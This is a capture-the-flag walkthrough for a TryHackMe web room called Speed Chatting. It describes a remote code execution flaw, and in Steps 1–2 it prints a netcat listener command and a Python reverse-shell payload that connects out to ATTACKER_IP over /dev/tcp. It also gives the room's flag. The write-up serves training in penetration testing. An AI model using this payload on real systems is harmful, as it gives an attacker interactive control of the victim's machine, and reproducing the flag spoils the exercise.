💬 Speed Chatting – TryHackMe Walkthrough 

🧩 Room Details

• Platform: TryHackMe

• Room Name: Speed Chatting

• Category: Web

• Difficulty: Easy

• Target URL: http://10.48.156.126:5000

---

📖 Scenario Overview

TryHeartMe rushed to release a new messaging platform called Speed Chatter just before Valentine’s Day.

In their hurry to beat the deadline, security testing was neglected. Your task as a security researcher is to:

• Identify vulnerabilities

• Exploit the weakness

• Gain system access

• Capture the flag

---

🎯 Objective

Break into the Speed Chatter web application and retrieve the hidden flag from the server.

---

🔎 Initial Analysis

Upon accessing the web app, it becomes clear that user input or file handling is not properly secured.

Because this is an Easy-level Web room, typical vulnerabilities to check include:

• File upload flaws

• Command injection

• Remote code execution

• Improper input validation

After testing the application, it becomes evident that the server allows execution of malicious code through improper handling of uploaded or injected scripts.

---

⚠ Vulnerability Identified – Remote Code Execution (RCE)

The core issue in this room is Remote Code Execution.

The application allows an attacker to execute system-level commands on the server. This leads to full control over the underlying machine.

---

🛠 Exploitation Overview (High-Level)

Step 1: Prepare a Reverse Shell Listener

On your attacker machine:

nc -lvnp 4444

This opens a listener waiting for an incoming connection.

---

Step 2: Inject Reverse Shell Payload

A malicious payload was introduced into the application:

import os
os.system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'")

This forces the target machine to connect back to the attacker.

---

Step 3: Gain Shell Access

Once executed, the target connects back:

Connection received on 10.x.x.x
bash: no job control in this shell

You now have remote shell access.

---

Step 4: Locate the Flag

Navigate to the application directory:

cd /opt/Speed_Chat
ls

You’ll find:

app.py
flag.txt
uploads

Read the flag:

cat flag.txt

---

🏁 Final Flag

THM{R3v3rs3_Sh3ll_L0v3_C0nn3ct10ns}

---

📚 Key Learning Points

• Rushed production deployments often introduce critical security flaws.

• Remote Code Execution is one of the most severe web vulnerabilities.

• Reverse shells allow attackers to gain interactive system access.

• Always validate and sanitize user input.

• Never execute user-controlled input directly in system commands.

---

🛡 Defensive Recommendations

If you're developing web applications:

• Avoid using os.system() with unsanitized input.

• Disable dangerous system execution functions where possible.

• Implement strict file upload validation.

• Use containerization and sandboxing.

• Conduct security testing before production release.

---

💡 Why This Room Is Valuable

This challenge demonstrates how small security oversights can lead to full system compromise.

It’s excellent practice for:

• Beginners in web exploitation

• Students learning penetration testing

• Cybersecurity enthusiasts

• Bug bounty hunters